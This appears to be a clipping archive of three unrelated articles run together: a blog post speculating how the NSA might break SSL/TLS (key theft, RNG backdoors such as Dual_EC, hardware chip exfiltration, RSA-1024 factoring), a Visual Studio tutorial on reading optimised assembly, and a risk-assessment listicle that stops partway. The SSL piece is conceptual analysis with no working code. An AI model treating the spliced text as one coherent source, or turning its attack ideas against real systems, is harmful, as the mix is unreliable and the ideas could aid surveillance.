crypto


How does the NSA break SSL?
 
(source )
A few weeks ago I wrote a long post about the NSA's 'BULLRUN' project to subvert modern encryption  standards. I had intended to come back to this at some point, since I didn't have time to discuss the issues in detail. But then things got in the way. A lot of things , actually. Some of which I hope to write about in the near future.

But before I get there, and at the risk of boring you all to tears, I wanted to come back to this subject at least one more time, if only to pontificate a bit about a question that's been bugging me.

You see, the NSA BULLRUN briefing sheet mentions that NSA has been breaking quite a few encryption technologies, some of which are more interesting than others. One of those technologies is particularly surprising to me, since I just can't figure how NSA might be doing it. In this extremely long post I'm going to try to dig a bit deeper into the most important question facing the Internet today.

Specifically: how the hell is NSA breaking SSL?


Section of the BULLRUN briefing sheet. Source: New York Times. 
To keep things on target I'm going to make a few basic ground rules.

First, I'm well aware that NSA can install malware on your computer and pwn any cryptography you choose. That doesn't interest me at all, for the simple reason that it doesn't scale well. NSA can do this to you, but they can't do it for an entire population. And that's really what concerns me about the recent leaks: the possibility that NSA is breaking encryption for the purposes of mass surveillance. Hence our focus here will be primarily on passive eavesdropping.

For the same reason, we're not going to worry about man-in-the-middle (MITM) attacks. While we know that NSA runs these , they're a very targeted sort of attack. Not only are these attacks detectable if you do them at large scale, they don't comport with what we know about how NSA does large-scale interception  -- mostly via beam splitters and taps.

The rules above aren't absolute, of course. For example, we will consider limited targeted attacks on servers, provided they later permit mass decryption of large amounts of traffic; e.g., decryption of traffic to major websites. We will also consider arbitrary modifications to software and hardware -- something we know NSA is already doing .

One last point: to keep things from going off the rails, I've helpfully divided this post into two sections. The first will cover attacks that use only known techniques. Everything in this section can be implemented by a TAO employee with enough gumption and access to software. The second section, which I've titled the 'Tinfoil Hat Spectrum' covers the fun and speculative stuff -- ranging from new side channel attacks all the way to that huge quantum computer the NSA built next to BWI. 

We'll start with the 'practical' attacks.

Attacks that use Known Techniques

Theft of RSA keys.The most obvious way to 'crack' SSL doesn't really involve cracking anything. Why waste time and money on cryptanalysis when you can just steal the keys? This issue is of particular concern in servers configured for the TLS RSA handshake, where a single 128-byte server key is all you need to decrypt every past and future connection made from the device.

In fact, this technique is so obvious that it's hard to imagine NSA spending a lot of resources on sophisticated cryptanalytic attacks. We know that GCHQ and NSA are perfectly comfortable suborning  even US providers overseas. And inside our borders, they've demonstrated a willingness to obtain TLS/SSL keys using subpoena powers and gag orders . If you're using an RSA connection to a major website, it may be sensible to assume the key is already known.

Of course, even where NSA doesn't resort to direct measures, there's always the possibility of obtaining keys via a remote software exploit. The beauty is that these attacks don't even require remote code execution. Given the right vulnerability, it may simply require a handful of malformed SSL requests to map the full contents of the OpenSSL/SChannel heap.


Source: New York Times 
Suborning hardware encryption chips. A significant fraction of SSL traffic on the Internet is produced by hardware devices such as SSL terminators and VPN-enabled routers. Fortunately we don't have to 
speculate about the security of these devices -- we already know NSA/GCHQ have been collaborating with hardware manufacturers to 'enable' decryption on several major VPN encryption chips.

The NSA documents aren't clear on how this capability works, or if it even involves SSL. If it does, the obvious guess is that each chip encrypts and exflitrates bits of the session key via 'random' fields such as IVs and handshake nonces. Indeed, this is relatively easy to implement on an opaque hardware device. The interesting question is how one ensures these backdoors can only be exploited by NSA -- and not by rival intelligence agencies. (Some thoughts on that here .)

Side channel attacks. Traditionally when we analyze cryptographic algorithms we concern ourselves with the expected inputs and outputs of the system. But real systems leak all kinds of extra information. These 'side channels' -- which include operation time, resource consumption, cache timing, and RF emissions -- can often be used to extract secret key material.

The good news is that most of these channels are only exploitable when the attacker is in physical proximity to a TLS server. The bad news is that there conditions in which the attacker can get close. The most obvious example involves virtualized TLS servers in the cloud setting, where a clever attacker may share physical resources with the target device.

A second class of attack uses remote timing information to slowly recover an RSA key. These attacks can be disabled via countermeasures such as RSA blinding , though amusingly, some 'secure' hardware co-processors may actually turn these countermeasures off  by default! At very least, this makes the hardware vulnerable to attacks by a local user, and could even facilitate remote recovery of RSA keys.

Weak random number generators. Even if you're using strong Perfect Forward Secrecy ciphersuites, the security of TLS depends fundamentally on the availability of unpredictable random numbers. Not coincidentally, tampering with random number generator standards appears to have been a particular focus of NSA's efforts .

Random numbers are critical to a number of elements in TLS, but they're particularly important in three places:
1. On the client side, during the RSA handshake. The RNG is used to generate the RSA pre-master secret and encryption padding. If the attacker can predict the output of this generator, she can subsequently decrypt the entire session. Ironically, a failure of the server RNG is much less devastating to the RSA handshake.**
2. On the client or server side, during the Diffie-Hellman handshake(s). Since Diffie-Hellman requires a contribution from each side of the connection, a predictable RNG on either side renders the session completely transparent.
3. During long-term key generation, particularly of RSA keys. If this happens, you're screwed.
And you just don't need to be that sophisticated to weaken a random number generator. These generators are already surprisingly fragile, and it's awfully difficult to detect when one is broken. Debian's maintainers made this point beautifully back in 2008 when an errant code cleanup reduced the effective entropy of OpenSSL to just 16 bits. In fact, RNGs are so vulnerable that the challenge here is not weakening the RNG -- any idiot with a keyboard can do that -- it's doing so without making the implementation trivially vulnerable to everyone else. 
The good news is that it's relatively easy to tamper with an SSL implementation to make it encrypt and exfiltrate the current RNG seed. This still requires someone to physically alter the library, or install a persistent exploit, but it can be done cleverly without even adding much new code to the existing OpenSSL code. (OpenSSL's love of function pointers makes it particularly easy to tamper with this stuff.)
If tampering isn't your style, why not put the backdoor in plain sight? That's the approach NSA took with the Dual_EC RNG , standardized by NIST in Special Publication 800-90 . There's compelling evidence that NSA deliberately engineered this generator with a backdoor -- one that allows them to break any TLS/SSL connection made using it. Since the generator is (was) the default in RSA's BSAFE library , you should expect every TLS connection made using that software to be potentially compromised.
And I haven't even mentioned Intel's plans to replace the Linux kernel RNG with its own hardware RNG.
Esoteric Weaknesses in PFS systems.Many web servers, including Google and Facebook, now use Perfect Forward Secrecy ciphersuites like ephemeral Diffie-Hellman (DHE and ECDHE). In theory these ciphersuites provide the best of all possible worlds: keys persist for one session and then disappear once the connection is over. While this doesn't save you from RNG issues, it does make key theft a whole lot more difficult.

PFS ciphersuites are a good thing, but a variety of subtle issues can cramp their style. For one thing, the session resumption mechanism can be finicky: session keys must either be stored locally, or encrypted and given out to users in the form of session tickets . Unfortunately, the use of session tickets somewhat diminishes the 'perfectness' of PFS systems, since the keys used for encrypting the tickets now represent a major weakness in the system. Moreover, you can't even keep them internal to one server, since they have to be shared among all of a site's front-end servers ! In short, they seem like kind of a nightmare.

A final area of concern is the validation of Diffie-Hellman parameters. The current SSL design assumes that DH groups are always honestly generated by the server. But a malicious implementation can violate this assumption and use bad parameters, which enable third party eavesdropping. This seems like a pretty unlikely avenue for enabling surveillance, but it goes to show how delicate these systems are.

The Tinfoil Hat Spectrum

I'm going to refer to the next batch of attacks as 'tinfoil hat' vulnerabilities. Where the previous issues all leverage well known techniques, each of the following proposals require totally new cryptanalytic techniques.

All of which is a way of saying that the following section is pure speculation. It's fun to speculate, of course. But it requires us to assume facts not in evidence. Moreover, we have to be a bit careful about where we stop.

So from here on out we are essentially conducting a thought-experiment. Let's imagine the NSA has a passive SSL-breaking capability; and furthermore, that it doesn't rely on the tricks of the previous section. What's left?

The following list begins with the most 'likely' theories and works towards the truly insane.

Breaking RSA keys. There's a persistent rumor in our field that NSA is cracking 1024-bit RSA keys. It's doubtful this rumor stems from any real knowledge of NSA operations. More likely it's driven by the fact that cracking 1024-bit keys is highly feasible for an organization with NSA's resources.

How feasible? Several credible researchers have attempted to answer this question, and it turns out that the cost is lower than you think. Way back in 2003, Shamir and Tromer  estimated $10 million for a purpose-built machine that could factor one 1024-bit key per year. In 2013, Tromer reduced those numbers  to about $1 million, factoring in hardware advances. And it could be significantly lower.

Along similar lines, Bernstein, Heninger and Lange  examined at the feasibility of cracking RSA using distributed networks of standard PCs. Their results are pretty disturbing: in principal, a cluster about the size of the real-life Conficker  botnet could do serious violence to 1024-bit keys.

Given all this, you might ask why this possibility is even in the 'tinfoil hat' category. The simple answer is: because nobody's ever admitted to doing it. It's possible the estimates above are dramatically too high or too low. Moreover, RSA-1024 keys are being rapidly being phased out . Cracking 2048 bit keys would require significant mathematical advances, and that's much deeper into the tinfoil hat.*

Cracking RC4. On paper, TLS supports a variety of strong encryption algorithms. In practice, about half of all TLS traffic  is secured with the creaky old RC4  cipher. And this should worry you -- because RC4 is starting to show its age. In fact, as used in TLS it's already vulnerable to (borderline) practical attacks . Thus it seems like a nice candidate for a true cryptanalytic advance on NSA's part.

Unfortunately the problem with this theory is that we simply don't know of any attack that would allow the NSA to usefully crack RC4! The known techniques require an attacker to collect thousands or millions of ciphertexts that are either (a) encrypted with related keys (as in WEP) or (b) contain the same plaintext . The best known attack against TLS takes the latter form -- it requires the victim to establish billions of sessions, and even then it only recovers fixed plaintext elements like cookies or passwords.

The counterargument is that the public research community hasn't been thinking very hard about RC4 for the past decade -- in part because we thought it was so broken people had stopped using it (oops!) If we'd been focusing all our attention on it (or better, the NSA's attention), who knows what we'd have today.

If you told me the NSA had one truly new cryptanalytic capability, I'd agree with Jake  and point the finger at RC4. Mostly because the alternatives are far scarier.

New side-channel attacks. For the most part, remote timing attacks appear to have been killed off by the implementation of countermeasures such as RSA blinding , which confound timing by multiplying a random blinding factor into each ciphertext prior to decryption. In theory this should make timing information essentially worthless. In practice, many TLS implementations implement compromises in the blinding code that might resurrect these attacks, things like squaring a blinding factor between decryption operations, rather than generating a new one each time. It's quite unlikely there are attacks here, but who knows.

Goofy stuff. Maybe NSA does have something truly amazing up its sleeve. The problem with opening this Pandora's box is that it's really hard to get it closed again. Did Jerry Solinas really cook the NIST P-curves to support some amazing new attack (which NSA knew about way back in the late 1990s, but we have not ourselves discovered)? Does the NSA have a giant supercomputer named TRANSLTR that can brute-force any cryptosystem? Is there a giant quantum computer at the BWI Friendship annex?

Conclusion

We don't know and can't know the answer to these things, and honestly it'll make you crazy if you start thinking about it. All we can really do is take NSA/GCHQ at their word when they tell us that these capabilities are 'extremely fragile'. That should at least give us hope.

The question now is if we can guess well enough to turn that fragility from a warning into a promise. I sure hope so.
Notes:

* Even though 1024-bit RSA keys are being eliminated, many servers still use 1024-bit for Diffie-Hellman (mostly for efficiency reasons). The attacks on these keys are similar to the ones used against RSA -- however, the major difference is that fresh Diffie-Hellman 'ephemeral' keys are generated for each new connection. Breaking large amounts of traffic seems quite costly.

** A failure of the server RNG could result in some predictable values like the ServerRandom and session IDs. An attacker who can predict these values may be able to run active attacks against the protocol, but -- in the RSA ciphersuite, at least -- they don't admit passive compromise.  
﻿http://www.altdevblogaday.com/2012/05/07/cc-low-level-curriculum-part-8-looking-at-optimised-assembly/ 
#AltDevBlogADay » C/C++ Low Level Curriculum Part 8: looking at optimised assembly
Created:
5/20/2012 4:24:21 PM
Updated:
5/20/2012 4:24:21 PM
Author:

Tags:
C++ compiler-building optimisation




C/C++ Low Level Curriculum Part 8: looking at optimised assembly
It’s that time again where I have managed to find a few spare hours to squoze out an article for the Low Level Curriculum. This is the 8th post in this series, which is not in any way significant except that I like the number 8. As well as being a power of two, it is also the maximum number of unarmed people who can simultaneously get close enough to attack you (according to a martial arts book I once read).
This post covers how to set up Visual Studio to allow you to easily look at the optimised assembly code generated for simple code snippets like the ones we deal with in this series. If you wonder why I feel this is worth a post of its own here’s the reason – optimising compilers are good, and given code with constants as input and no external output (like the snippets I give as examples in this series) the compiler will generally optimise the code away to nothing – which I find makes it pretty hard to look at. This should prove immensely useful, both to refer back to, and for your own experimentation.
Here are the backlinks for preceding articles in the series in case you want to refer back to any of them (warning: the first few are quite long):
1. http://altdevblogaday.com/2011/11/09/a-low-level-curriculum-for-c-and-c/
2. http://altdevblogaday.com/2011/11/24/c-c-low-level-curriculum-part-2-data-types/
3. http://altdevblogaday.com/2011/12/14/c-c-low-level-curriculum-part-3-the-stack/
4. http://altdevblogaday.com/2011/12/24/c-c-low-level-curriculum-part-4-more-stack/
5. http://altdevblogaday.com/2012/02/07/c-c-low-level-curriculum-part-5-even-more-stack/
6. http://altdevblogaday.com/2012/03/07/c-c-low-level-curriculum-part-6-conditionals/
Assumptions
Strictly speaking, dear reader, I am making tonnes of assumptions about you as I write this – that you read English, that you like to program etc. but we’ll be here all day if I try to list those so let’s stick to the ones that might be immediately inconvenient if they were incorrect.
I will be assuming that you have access to some sub-species of Visual Studio 2010 on a Windows PC, and that you are familiar with using it to do all the everyday basics like change build configurations, open files, edit, compile, run, and debug C/C++.
Creating a project
Open Visual Studio and from the menu choose “File -> New -> Project...”.
Once the new project wizard window opens (see below):
· go to the tree view on the left of the window and select “Other Languages -> Visual C++”
· in the main pane select “Win32 Console Application   Visual C++”
· give it a name in the Name edit box
· browse for a location of your choosing on your PC
· click OK to create the project

Once you have clicked OK just click “Finish” on the next stage of the wizard – in case you’re wondering, the options available when you click next don’t matter for our purposes (and un-checking the “Precompiled header” check box makes no difference, it still generates a console app that uses a precompiled header...).
Changing the Project Properties
The next step is to use the menu to select “Project -> <YourProjectName> Properties”, which will bring up the properties dialog for the project.
When the properties dialog appears (see image below):
· select “All Configurations” from the Configuration drop list
· select “Configuration Properties ->General” in the tree view at the left of the window
· in the main pane change “Whole Program Optimisation” to “No Whole Program Optimisation”.

Next, in the tree view (see image below):
· in the tree view, navigate to “C/C++ -> Code Generation”
· in the main pane, change “Basic Runtime Checks” to “Default” (i.e. off)

Finally (see image below):
· in the tree view, go to “C/C++ -> Output Files”
· in the main pane change “Assembler Output” to “Assembly With Source Code /(FAs)”
· once you’ve done that click “OK”

Now, when you compile the Visual Studio compiler will generate an .asm file as well as an .exe file. This file will contain the intermediate assembly code generated by the compiler, with the source code inserted into it inline as comments.
You could alternatively choose the “Assembly, Machine Code and Source (/FAcs)” option if you like – this will generate a .cod file that contains the machine code as well as the asm and source.
I prefer the regular .asm because it’s less visually noisy and the assembler mnemonics are all aligned on the same column, so that’s what I’ll assume you’re using if you’re following the article, but the .cod file is fine.
So, what did we do there?
Well, first we turned off link time code generation. Amongst other things, this will prevent the linker stripping the .asm generated for functions that are compiled but not called anywhere.
Secondly, we turned off the basic runtime checks (which are already off in Release). These checks make the function prologues and epilogues generated do significant amounts of (basically unneccessary) extra work causing a worst case 5x slowdown (see this post by Bruce Dawson on his personal blog for an in depth explanation).
Finally, we asked the compiler not to throw away the assembly code it generates for our program; this data is produced by the compilation process whenever you compile but is usually thrown away, we’re just asking Visual Studio to write it into an .asm file so we can take a look at it.
Since we made these changes for “All Configurations” this means we will have access to .asm files containing the assembly code generated by both the Debug and Release build configurations.
Let’s try it out
So in the spirit of discovery, let’s try it out (for the sake of familiarity) with a language feature we looked at last time – the conditional operator:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include "stdafx.h"
 
int ConditionalTest( bool bFlag, int iOnTrue, int iOnFalse )
{
    return ( bFlag ? iOnTrue : iOnFalse );
}
 
int main(int argc, char* argv[])
{
    int a = 1, b = 2;
    bool bFlag = false;
    int c = ConditionalTest( bFlag, a, b );
    return 0;
}
The question you have in your head at this moment should be “why have we put the code into a function?”. Rest assured that this will become apparent soon enough.
Now we have to build the code and look in the .asm files generated to see what the compiler has been up to...
First build the Debug build configuration – this should already be selected in the solution configuration drop-down (at the top of your Visual Studio window unless you’ve moved it).
Next build the Release configuration.
Now we need to open the .asm files. Unless you have messed with project settings that I didn’t tell you to these will be in the following paths:
<path where you put the project>/Debug/<projectName>.asm
<path where you put the project>/Release/<projectName>.asm
.asm files
I’m not going to go into any significant detail about how .asm files are laid out here, if you want to find out more here’s a link to the Microsoft documentation for their assembler.
The main thing you should note is that we can find the C/C++ functions in the .asm file by looking for their names; and that – once we find them – the mixture of source code and assembly code looks basically the same as it does in the disassembly view of Visual Studio in the debugger.
main()
Let’s look at main() first. This is where I explain why the code snippet we wanted to look at was put in a function. I can tell you’re excited.
Here’s main() from the Debug .asm (I’ve reformatted it slightly to make it take up less vertical space):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
_TEXT    SEGMENT
_c$ = -16                        ; size = 4
_bFlag$ = -9                        ; size = 1
_b$ = -8                        ; size = 4
_a$ = -4                        ; size = 4
_argc$ = 8                        ; size = 4
_argv$ = 12                        ; size = 4
_main    PROC                        ; COMDAT
; 9    : {
    push    ebp
    mov    ebp, esp
    sub    esp, 80                    ; 00000050H
    push    ebx
    push    esi
    push    edi
; 10   :     int a = 1, b = 2;
    mov    DWORD PTR _a$[ebp], 1
    mov    DWORD PTR _b$[ebp], 2
; 11   :     bool bFlag = false;
    mov    BYTE PTR _bFlag$[ebp], 0
; 12   :     int c = ConditionalTest( bFlag, a, b );
    mov    eax, DWORD PTR _b$[ebp]
    push    eax
    mov    ecx, DWORD PTR _a$[ebp]
    push    ecx
    movzx    edx, BYTE PTR _bFlag$[ebp]
    push    edx
    call    ?ConditionalTest@@YAH_NHH@Z        ; ConditionalTest
    add    esp, 12                    ; 0000000cH
    mov    DWORD PTR _c$[ebp], eax
; 13   :     return 0;
    xor    eax, eax
; 14   : }
    pop    edi
    pop    esi
    pop    ebx
    mov    esp, ebp
    pop    ebp
    ret    0
_main    ENDP
_TEXT    ENDS

As long as you’ve read the previous posts, this should mostly look pretty familiar.
It breaks down as follows:
· lines 1-8: these lines define the offsets of the various Stack variables from [ebp] within main()’s Stack Frame
· lines 10-15: function prologue of main()
· lines 17-20: initialise the Stack variables
· lines 22-30: push the parameters to ConditionalTest() into the Stack, call it, and assign its return value
· line 32: sets up main()’s return value
· lines 34-38: function epilogue of main()
· line 39: return from main()
Nothing unexpected there really, the only new thing to take in is the declarations of the Stack variable offsets from [ebp].
I feel these tend to make the assembly code easier to follow than the code in the disassembly window in the Visual Studio debugger.
And, for comparison, here’s main() for the Release .asm:

1
2
3
4
5
6
7
8
9
10
11
12
13
_TEXT    SEGMENT
_argc$ = 8                        ; size = 4
_argv$ = 12                        ; size = 4
_main    PROC                        ; COMDAT
; 10   :     int a = 1, b = 2;
; 11   :     bool bFlag = false;
; 12   :     int c = ConditionalTest( bFlag, a, b );
; 13   :     return 0;
    xor    eax, eax
; 14   : }
    ret    0
_main    ENDP
_TEXT    ENDS

The astute amongst you will have noticed that the Release assembly code is significantly smaller than the Debug.
In fact, it’s clearly doing nothing at all other than returning 0. Good optimising! High five!
As I alluded to earlier, the optimising compiler is great at spotting code that evaluates to a compile time constant and will happily replace any code it can with the equivalent constant.
So that’s why we put the code snippet in a function
It should hopefully be relatively clear by this point why we might have put the code snippet into a function, and then asked the linker not to remove code for functions that aren’t called.
Even if it can optimise away calls to a function, the compiler can’t optimise away the function before link time because some code outside of the object file it exists in might call it. Incidentally, the same effect usually keeps variables defined at global scope from being optimised away before linkage.
I’m going to call this Schrödinger linkage (catchy, right?). If we want our simple code snippet to stay around after optimising we only need to make sure that it takes advantage of Schrödinger linkage to cheat the optimiser.
If the compiler can’t tell whether the function will be called, then it certainly can’t tell what the values of its parameters will be during one of these potential calls, or what its return value might be used for and so it can’t optimise away any code that relies on those inputs or contributes to the output either.
The upshot of this is that if we put our code snippet in a function, make sure that it uses the function parameters as inputs, and that its output is returned from the function then it should survive optimisation.
It’s really a testament to all the compiler programmers over the years that it takes so much effort to get at the optimised assembly code generated by a simple code snippet – compiler programmers we salute you!
ConditionalTest()
So, here’s the Debug .asm for ConditionalTest() (ignoring the prologue / epilogue):

1
2
3
4
5
6
7
8
9
10
11
12
13
; 5    :     return( bFlag ? iOnTrue : iOnFalse );
    movzx    eax, BYTE PTR _bFlag$[ebp]
    test    eax, eax
    je    SHORT $LN3@Conditiona
    mov    ecx, DWORD PTR _iOnTrue$[ebp]
    mov    DWORD PTR tv66[ebp], ecx
    jmp    SHORT $LN4@Conditiona
$LN3@Conditiona:
    mov    edx, DWORD PTR _iOnFalse$[ebp]
    mov    DWORD PTR tv66[ebp], edx
$LN4@Conditiona:
    mov    eax, DWORD PTR tv66[ebp]
; 6    : }

As you should be able to see, this is doing the basically same thing as the code we looked at in the Debug disassembly in the previous article:
· branching based on the result of testing the value of bFlag (the mnemonic test does a bitwise logical AND)
· both branches set a Stack variable at an offset of tv66 from [ebp]
· and both branches then execute the last line which copies the content of that address into eax 
Again, the assembly code is arguably easier to follow than the corresponding disassembly because the jmp mnemonic jumps to labels visibly defined in the code, whereas in the disassembly view in Visual Studio you generally have to cross reference the operand to jmp with the memory addresses in the disassembly view to see where it’s jumping to...
Let’s compare this with the Release assembler (again not showing the function prologue or epilogue):
1
2
3
4
5
6
7
; 5    :     return( bFlag ? iOnTrue : iOnFalse );
    cmp    BYTE PTR _bFlag$[ebp], 0
    mov    eax, DWORD PTR _iOnTrue$[ebp]
    jne    SHORT $LN4@Conditiona
    mov    eax, DWORD PTR _iOnFalse$[ebp]
$LN4@Conditiona:
; 6    : }
You will note that the work of this function is now done in 4 instructions as opposed to 9 in the Debug:
· it compares the value of bFlag against 0
· unconditionally moves the value of iOnTrue into eax
· if the value of bFlag was not equal to 0 (i.e. it was true) it jumps past the next instruction...
· ...otherwise this moves the value of iOnFalse into eax
As I’ve stated before I’m not an assembly code programmer and I’m not an optimisation expert. Consequently, I’m not going to offer my opinion on the significance of the ordering of the instructions in this Release assembly code.
I am, however, prepared to go out on a limb and say it’s a pretty safe bet that the Release version with 4 instructions is going to execute significantly faster than the Debug version with 9.
So, why such a big difference between Debug and Release for something that when debugging at source level is a single-step?
Essentially this is because the unoptimised assembly code generated by the compiler must be amenable to single-step debugging at the source level:
· it almost always does the exact logical equivalent of what the high level code asked it to do and, specifically, in the same order
· it also has to frequently write values from CPU registers back into memory so that the debugger can show them updating
Summary
What’s the main point I’d like you to take away from this article? Optimising compilers are feisty!
You have to know how to stop them optimising away your isolated C/C++ code snippets if you want to easily be able to see the optimised assembly code they generate.
This article shows a simple boilerplate way to short-circuit the Visual Studio optimising compiler – mileage will vary on other platforms.
There are other strategies to stop the optimiser optimising away your code, but they basically all come down to utilising the Schrödinger linkage effect; in general:
· use global variables, function parameters, or function call results as inputs to the code
· use global variables, function return values, or function call parameters as outputs from the code
· if you’re not using Visual Studio’s compiler you may also need to turn off inlining
A final extreme method I have been told about is to insert nop instructions via inline assembly around / within the code you want to isolate. Note that you should use this approach with caution, as it interferes directly with the optimiser and can easily affect the output to the point where it is no longer representative.
Epilogue
So, I hope you found this interesting – I certainly expect you will find it useful :)
The next article (as promised last time!) is about looping, which is another reason why it seemed like a good time to cover getting at optimised assembly code for simple C/C++ snippets.
I will be referring back to this in future articles in situations where looking at the optimised assembly code is particularly relevant.
If you’re wondering what you should look at first to see how Debug and Release code differ, and want to get practise at beating the optimiser, I’d suggest starting with something straight forward like adding a few numbers together.
Lastly, but by no means leastly, thanks to Rich, Ted, and Bruce for their input and proof reading; and Bruce for supplying me with the tip that made this post possible.
 
Share: Twitter Facebook Reddit Google+ 





#AltDevBlogADay



Author login
Authors
Search
About
#AltDevConf


Alex Darby

Follow @darbotron
@darbotron
Gamer Camp
#gamedev
Education
Programming
General Interest
Instapaper Text
Twitter
Facebook
Reddit
Google+
http://altdevblogaday.com/2011/11/09/a-low-level-curriculum-for-c-and-c/
http://altdevblogaday.com/2011/11/24/c-c-low-level-curriculum-part-2-data-types/
http://altdevblogaday.com/2011/12/14/c-c-low-level-curriculum-part-3-the-stack/
http://altdevblogaday.com/2011/12/24/c-c-low-level-curriculum-part-4-more-stack/
http://altdevblogaday.com/2012/02/07/c-c-low-level-curriculum-part-5-even-more-stack/
http://altdevblogaday.com/2012/03/07/c-c-low-level-curriculum-part-6-conditionals/




this post 
Microsoft documentation for their assembler
Schrödinger linkage
previous article
Twitter
Facebook
Reddit
Google+

﻿http://www.darkreading.com/risk/10-pitfalls-of-it-risk-assessment/240162808 
10 Pitfalls Of IT Risk Assessment -- Dark Reading
Created:
10/23/2013 12:13:18 PM
Updated:
10/23/2013 12:13:18 PM
Author:

Tags:
risk-management security metrics


10 Pitfalls Of IT Risk Assessment 
Ericka Chickowski
Avoid these assessment mistakes to make better long-term security decisions 
Ericka Chickowski October 17, 2013 
As IT organizations seek to make better risk-based decisions about security practices, perhaps the No. 1 component for success is the IT risk assessment. However, even when organizations actually conduct a risk assessment, they frequently fall prey to mistakes that can greatly devalue the exercise. Here are some of the most common blunders to avoid.
1. Forgetting To Assess Third-Party Risk
Most IT risk experts agree that most enterprises today simply don't work to gauge the level of IT risk posed by vendor and other partner infrastructure that touches their most sensitive data.
"One area that many companies are not doing enough on is managing their relationships with third-party vendors they use," says Brad Johnson, vice president of consultancy SystemExperts. "Often, once the lawyers have finally signed off on an agreement, both parties tend to have a very hands-off approach with each other and forget the details of making sure things are staying on course. " 
When organizations fail to really do their due diligence -- both before and after a contract is signed -- they're bound to miss critical details that will drastically change how the real risk exposure looks.
"For example, a client company may not be aware that a vendor is storing their regulated data in a public cloud," says Natalie Kmit, senior information security adviser for security consultancy Sage Data Security.
2. Making Assessments Too Quantitative
True, analytics and numbers are really important for evaluating risk and how it could materially impact the bottom line. But organizations need to understand that the numbers game doesn't have to be perfect to be effective, especially when it comes to estimating breach impact.
"Ranges of impact make it easier to get on with the discussion and focus on how you'll mitigate risk, rather than spending a lot of cycles debating about whether the impact is $20 million or $21 million," says Dwayne Melancon, CTO of Tripwire. "Once you figure out whether the impact of a realized risk is catastrophic, painful, inconvenient, annoying, or not a big deal, you can have a good conversation about how much you want to spend to mitigate the most serious risks." 
Melancon says that going overboard with analytics, in general, can bog down the assessment process and that organizations should be wary of taking so long on things like classifying risk that they are lengthening the assessment cycle to the point of ineffectiveness.
Besides, says Manny Landron, senior manager of security and compliance at Citrix ShareFile's SaaS Division, there are also qualitative risk factors that organizations need to find a way to incorporate into the assessment.
"Quantitative assignments should be well-defined, and the cost-benefit assessment should have a qualitative counterpart at each turn," he says. "Having too narrow a focus, using strictly quantitative measurements, not having a framework to work against, and not having sufficient periodically scheduled risk assessments are all mistakes risk executives should aim to avoid." 
3. Letting Assessment Suffer From Myopic Scope
It's the rule rather than the exception that most large organizations overlook key assets and indicators in their risk assessments, says Jody Brazil of firewall management firm FireMon.
"Among the most frequent issues are those related to identifying vulnerabilities as 'risks' without any greater qualification, such as exposure to available access or exploitation," he says. "There's also the labeling of individual threats as 'risk,' and the failure to properly assign values to specific assets-most often exemplified by treating all hosts or underlying systems as equal." 
Mike Lloyd, CTO of RedSeal Networks, agrees, stating that most organizations just don't keep good enough track of their infrastructure assets they own to properly assess them.
"Most organizations have lost track of the assets they own," he says. "Performing a risk assessment on the asset inventory system can be like the drunk looking for his keys under the lamp post, even though he dropped them in the alley, because the light is better under the lamp post." 
What's more, even with complete data sets they're frequently assessed in separate silos, making it difficult to understand interdependencies.
"Sometimes an assessment focuses on a very specific application, but fails to embrace the entire infrastructure," says Gregory Blair, senior director of operations for FPX, a company that develops price-quoting software. "For example, the assessment might look only at an application focused on securing a database and misses the general computing controls that are used in a specific industry -- things like encryption, firewall, authentication, and authorization." 
4. Assessing Without Context
IT risk assessments are all about context, whether it is systems context as mentioned above or business context. Organizations that fail to put vulnerabilities and threats in context of the information assets and their importance to the business can't truly develop a good risk assessment or a way to apply it back to IT practices.
"When assessing risks, many times CISOs lack the context to the business. In other words, they need to ask, "What's being assessed and how does it affect the business?'" says Amad Fida, CEO of big data risk analysis firm Brinqa. "Results that are analyzed without business context provide a 'technology' view but not a 'business-plus technology' view." 
[Your organization has been breached. Now what? See Be the first to comment.]
5. Failing To Fold IT Risk Assessment Into Enterprise Assessments
Similarly, businesses want to understand how IT risks interplay with all of the other risks set in front of other business units. More often than not, organizations treat IT risks as their own category without considering their broader impact.
"More risk-aware organizations recognize that IT is an integral part of their business success and work to make sure IT is engaged in the business risk conversation," SystemExperts' Johnson says. "A number of organizations I work with have cross-functional teams that look at risk holistically to better understand dependencies, and these teams make recommendations about which risks the company should focus on from a business perspective." 
Next Page: Assess And Forget Syndrome
 
Seite 2
6. Failing-To-Assess-And-Forget Syndrome
Organizations today simply do not do risk assessments often enough, experts warn. It's the only way to keep up with the changing threat landscape, says Luke Klink security consultant for Rook Consulting.
"Executing regular risk assessments enables business executives to put their security budgets to efficient use," he says. "With some investment of work upfront by performing detailed risk assessments, no longer will we have to rely on the 'spray-and-pray' protection approach, but execute true management of risk in a tactical and surgical manner." 
According to Torsten George, vice president of marketing and products for integrated risk management vendor Agiliance, the most progressive organizations are following NIST guidelines for continuous monitoring to inform better situational awareness and improved assessment intervals.
"This approach provides increased risk posture visibility, improved response readiness, and minimizes overall risk," George says. "In reality, security risk assessments should be conducted continuously and even embedded into an organization's incident response management process, whereby each incident triggers an automatic high-level risk assessment. If a highly critical risk is discovered, a more detailed risk assessment can be conducted." 
7. Relying Too Heavily On Assessment Tools
But automated tools that help enable continuous monitoring of IT assets shouldn't be the end-all, be-all of risk assessment. Some risks simply can't be identified without more in-depth digging offered by manual penetration testing, says Benjamin Caudill, co-founder and principal consultant at Rhino Security Labs.
"Often the most vital risks are those which can only be found through dedicated, manual analysis," he says, pointing to logic flaws in websites as a solid example. "The reason this should be on the radar of CISOs and other executives is the concept of exclusively tool-based risk assessments give management a false sense of security and can't identify a number of vulnerabilities." 
8. Conducting Vulnerability-Centric Assessments
As organizations assess the technological vulnerabilities that contribute to risk, they often fail to keep in mind that it is the security or insecurity of the data itself that is the risk factor rather than the system holding the data.
"[Risk assessment] is often vulnerability-centric, rather than data-centric," says Barry Shteiman, director of security strategy for Imperva. "Often IT will choose to protect platforms that contain data, without actually understanding which kind of data is in the systems and who is accessing or have access to this data." 
Enterprises should keep in mind that a vulnerability risk factor on a piece of internal network infrastructure may not have the same impact as the risk posed by a user accessing IP and compromising it.
9. Forgetting To Gauge The Human Risks
Similarly, organizations must also remember that systems and software vulnerabilities are only one component of a risk assessment, says Joseph Steinberg, CEO of Green Armor Solutions.
"Concerns about social engineering or the increased likelihood of human error when complex technologies are used in an organization often take a back seat to technological risks when assessments are performed," he says.
